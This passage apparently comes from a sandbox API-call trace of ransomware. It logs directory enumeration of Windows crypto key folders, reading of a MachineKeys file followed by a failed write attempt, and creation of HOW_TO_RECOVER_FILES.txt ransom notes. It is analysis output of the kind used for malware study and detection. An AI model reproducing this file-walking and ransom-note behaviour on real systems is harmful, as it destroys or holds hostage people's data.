lpFindFileData=0x1faee6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0107.852] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.852] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 1 [0107.852] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0107.852] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0107.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee8c0) returned 1 [0107.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee880) returned 1 [0107.852] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1faee3d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3f [0107.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee8f0) returned 1 [0107.852] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\pcpksp\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0107.856] GetFileType (hFile=0x768) returned 0x1 [0107.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee860) returned 1 [0107.856] GetFileType (hFile=0x768) returned 0x1 [0107.857] WriteFile (in: hFile=0x768, lpBuffer=0x370c518*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1faee9b8, lpOverlapped=0x0 | out: lpBuffer=0x370c518*, lpNumberOfBytesWritten=0x1faee9b8*=0x5d0, lpOverlapped=0x0) returned 1 [0107.857] CloseHandle (hObject=0x768) returned 1 [0107.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee980) returned 1 [0107.858] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x1faee420, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x23 [0107.858] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x1faee6a0 | out: lpFindFileData=0x1faee6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x17c6f037, ftLastAccessTime.dwHighDateTime=0x1d2a02b, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0107.866] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x17c6f037, ftLastAccessTime.dwHighDateTime=0x1d2a02b, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.866] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x955a3652, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0107.866] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0107.866] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 0 [0107.867] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0107.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee8c0) returned 1 [0107.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee880) returned 1 [0107.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee980) returned 1 [0107.867] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x1faee420, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x23 [0107.867] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x1faee6a0 | out: lpFindFileData=0x1faee6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0107.867] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.867] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x955a3652, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0107.867] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0107.867] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0107.868] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0107.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee8c0) returned 1 [0107.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee880) returned 1 [0107.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedf50) returned 1 [0107.868] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", nBufferLength=0x105, lpBuffer=0x1faed9f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", lpFilePart=0x0) returned 0x2f [0107.868] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x1faedc70 | out: lpFindFileData=0x1faedc70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x955a3652, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0107.888] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x955a3652, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.888] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcb806263, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb806263, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcbbe5f7c, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x8b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="F686AA~1")) returned 1 [0107.888] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0107.888] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0107.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede90) returned 1 [0107.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede50) returned 1 [0107.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedf50) returned 1 [0107.888] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", nBufferLength=0x105, lpBuffer=0x1faed9f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", lpFilePart=0x0) returned 0x2f [0107.889] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x1faedc70 | out: lpFindFileData=0x1faedc70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x955a3652, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0107.889] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x955a3652, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.889] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcb806263, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb806263, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcbbe5f7c, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x8b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="F686AA~1")) returned 1 [0107.889] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcb806263, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb806263, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcbbe5f7c, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x8b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="F686AA~1")) returned 0 [0107.889] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0107.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede90) returned 1 [0107.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede50) returned 1 [0107.889] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", lpFilePart=0x0) returned 0x75 [0107.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0107.889] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\machinekeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267"), fInfoLevelId=0x0, lpFileInformation=0x373fd68 | out: lpFileInformation=0x373fd68*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcb806263, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb806263, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcbbe5f7c, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x8b1)) returned 1 [0107.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0107.890] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", lpFilePart=0x0) returned 0x75 [0107.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0107.890] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\machinekeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0107.890] GetFileType (hFile=0x768) returned 0x1 [0107.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0107.890] GetFileType (hFile=0x768) returned 0x1 [0107.890] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x8b1 [0107.890] ReadFile (in: hFile=0x768, lpBuffer=0x3740a68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3740a68*, lpNumberOfBytesRead=0x1faedc88*=0x8b1, lpOverlapped=0x0) returned 1 [0107.891] CloseHandle (hObject=0x768) returned 1 [0109.075] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", lpFilePart=0x0) returned 0x75 [0109.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0109.075] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\machinekeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0109.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faea5a0) returned 1 [0109.077] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1faed9a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x48 [0109.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedec0) returned 1 [0109.077] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\machinekeys\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b4 [0109.079] GetFileType (hFile=0x7b4) returned 0x1 [0109.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede30) returned 1 [0109.079] GetFileType (hFile=0x7b4) returned 0x1 [0109.080] WriteFile (in: hFile=0x7b4, lpBuffer=0x33b5768*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1faedf88, lpOverlapped=0x0 | out: lpBuffer=0x33b5768*, lpNumberOfBytesWritten=0x1faedf88*=0x5d0, lpOverlapped=0x0) returned 1 [0109.081] CloseHandle (hObject=0x7b4) returned 1 [0109.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedf50) returned 1 [0109.081] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18", nBufferLength=0x105, lpBuffer=0x1faed9f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18", lpFilePart=0x0) returned 0x2c [0109.081] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x1faedc70 | out: lpFindFileData=0x1faedc70*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0109.082] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.082] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="4ECCD1~1")) returned 1 [0109.082] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0109.082] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0109.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede90) returned 1 [0109.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede50) returned 1 [0109.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedf50) returned 1 [0109.681] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18", nBufferLength=0x105, lpBuffer=0x1faed9f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18", lpFilePart=0x0) returned 0x2c [0109.681] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x1faedc70 | out: lpFindFileData=0x1faedc70*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0109.713] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.713] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, 